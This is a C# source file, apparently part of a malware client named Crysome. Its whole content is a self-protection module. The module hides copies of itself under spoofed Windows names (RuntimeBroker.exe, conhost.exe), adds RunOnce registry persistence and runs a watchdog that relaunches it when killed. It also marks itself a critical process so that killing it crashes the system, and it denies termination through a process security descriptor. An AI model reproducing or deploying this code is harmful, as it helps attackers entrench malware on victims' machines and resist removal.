using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using Microsoft.Win32;

namespace Crysome.Client.Configuration;

public static class SelfProtect
{
	private static FileStream _fileLock;

	private static Thread _watchThread;

	private static volatile int _watcherPid = -1;

	private static string _primaryExeName = "RuntimeBroker.exe";

	private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows");

	private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR");

	internal static string PrimaryExe
	{
		get
		{
			return Path.Combine(PrimaryDir, _primaryExeName);
		}
		set
		{
			_primaryExeName = Path.GetFileName(value);
		}
	}

	internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe");

	public static void RunAsWatcher(int mainPid)
	{
		try
		{
			LockOwnFile();
		}
		catch
		{
		}
		try
		{
			HidePath(GetCurrentExe());
		}
		catch
		{
		}
		while (true)
		{
			Thread.Sleep(2500);
			bool flag = false;
			try
			{
				flag = !Process.GetProcessById(mainPid).HasExited;
			}
			catch
			{
				flag = false;
			}
			if (!flag)
			{
				Thread.Sleep(800);
				try
				{
					RestartFromBestCopy();
				}
				catch
				{
				}
			}
			try
			{
				EnsureBackups();
			}
			catch
			{
			}
		}
	}

	public static bool NeedsRelocation()
	{
		if (ClientConfiguration.IsHollowed)
		{
			return false;
		}
		string currentExe = GetCurrentExe();
		if (string.IsNullOrEmpty(currentExe))
		{
			return false;
		}
		try
		{
			return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase);
		}
		catch
		{
			return true;
		}
	}

	public static bool RelocateAndRelaunch(string[] currentArgs)
	{
		if (ClientConfiguration.IsHollowed)
		{
			return false;
		}
		try
		{
			string currentExe = GetCurrentExe();
			if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe))
			{
				return false;
			}
			byte[] bytes = File.ReadAllBytes(currentExe);
			try
			{
				Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe));
				foreach (Process process in processesByName)
				{
					try
					{
						process.Kill();
					}
					catch
					{
					}
				}
			}
			catch
			{
			}
			Directory.CreateDirectory(PrimaryDir);
			string primaryExe = PrimaryExe;
			try
			{
				File.WriteAllBytes(primaryExe, bytes);
			}
			catch (IOException)
			{
				PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe");
				primaryExe = PrimaryExe;
				try
				{
					File.WriteAllBytes(primaryExe, bytes);
				}
				catch
				{
				}
			}
			HidePath(primaryExe);
			Directory.CreateDirectory(BackupDir);
			try
			{
				File.WriteAllBytes(BackupExe, bytes);
			}
			catch
			{
			}
			HidePath(BackupExe);
			string text = "";
			if (currentArgs != null)
			{
				foreach (string text2 in currentArgs)
				{
					if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase))
					{
						text = text + " " + text2;
					}
				}
			}
			Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim())
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				WindowStyle = ProcessWindowStyle.Hidden
			});
			return true;
		}
		catch (Exception ex2)
		{
			Program.Log("SelfProtect relocate: " + ex2.Message);
			return false;
		}
	}

	public static void Start()
	{
		if (ClientConfiguration.IsHollowed)
		{
			Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg");
			_watchThread = new Thread(MonitorWatcher)
			{
				IsBackground = true
			};
			_watchThread.Start();
			return;
		}
		LockOwnFile();
		HidePath(GetCurrentExe());
		EnsureBackups();
		AddStartupRegistry();
		SpawnWatcher();
		_watchThread = new Thread(MonitorWatcher)
		{
			IsBackground = true
		};
		_watchThread.Start();
		Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)");
	}

	private static void LockOwnFile()
	{
		try
		{
			string currentExe = GetCurrentExe();
			if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null)
			{
				_fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read);
			}
		}
		catch
		{
		}
	}

	private static void HidePath(string path)
	{
		if (string.IsNullOrEmpty(path))
		{
			return;
		}
		try
		{
			if (File.Exists(path))
			{
				File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
			}
		}
		catch
		{
		}
		try
		{
			string directoryName = Path.GetDirectoryName(path);
			if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName))
			{
				new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden;
			}
		}
		catch
		{
		}
	}

	private static void EnsureBackups()
	{
		string currentExe = GetCurrentExe();
		if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe))
		{
			CopyIfMissing(currentExe, PrimaryDir, PrimaryExe);
			CopyIfMissing(currentExe, BackupDir, BackupExe);
		}
	}

	private static void CopyIfMissing(string source, string dir, string dest)
	{
		try
		{
			if (!File.Exists(dest))
			{
				Directory.CreateDirectory(dir);
				File.Copy(source, dest, overwrite: true);
				HidePath(dest);
			}
		}
		catch
		{
		}
	}

	private static void AddStartupRegistry()
	{
		try
		{
			string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe());
			using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true);
			registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String);
		}
		catch
		{
		}
	}

	private static void SpawnWatcher()
	{
		if (ClientConfiguration.IsHollowed)
		{
			return;
		}
		try
		{
			string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe);
			if (File.Exists(text))
			{
				Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id)
				{
					UseShellExecute = false,
					CreateNoWindow = true,
					WindowStyle = ProcessWindowStyle.Hidden
				});
				if (process != null)
				{
					_watcherPid = process.Id;
				}
			}
		}
		catch
		{
		}
	}

	private static void MonitorWatcher()
	{
		try
		{
			SetCriticalProcess();
		}
		catch
		{
		}
		try
		{
			ProtectProcess();
		}
		catch
		{
		}
		while (true)
		{
			Thread.Sleep(3000);
			if (_watcherPid <= 0)
			{
				SpawnWatcher();
				continue;
			}
			bool flag = false;
			try
			{
				flag = !Process.GetProcessById(_watcherPid).HasExited;
			}
			catch
			{
				flag = false;
			}
			if (!flag)
			{
				_watcherPid = -1;
				SpawnWatcher();
			}
			try
			{
				EnsureBackups();
			}
			catch
			{
			}
		}
	}

	[DllImport("ntdll.dll", SetLastError = true)]
	private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb);

	private static void SetCriticalProcess()
	{
		try
		{
			Process.EnterDebugMode();
			bool pbOld = false;
			RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false);
			Program.Log("SelfProtect: Critical process set (BSOD on kill)");
		}
		catch (Exception ex)
		{
			Program.Log("SelfProtect: Failed to set critical process: " + ex.Message);
		}
	}

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor);

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);

	private static void ProtectProcess()
	{
		try
		{
			IntPtr handle = Process.GetCurrentProcess().Handle;
			IntPtr SecurityDescriptor = IntPtr.Zero;
			uint SecurityDescriptorSize = 0u;
			if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize))
			{
				SetKernelObjectSecurity(handle, 4, SecurityDescriptor);
			}
		}
		catch
		{
		}
	}

	private static void RestartFromBestCopy()
	{
		string text = null;
		if (File.Exists(PrimaryExe))
		{
			text = PrimaryExe;
		}
		else if (File.Exists(BackupExe))
		{
			text = BackupExe;
		}
		if (text != null)
		{
			Process.Start(new ProcessStartInfo(text)
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				WindowStyle = ProcessWindowStyle.Hidden
			});
		}
	}

	private static string GetCurrentExe()
	{
		return ClientConfiguration.GetProcessPath();
	}
}
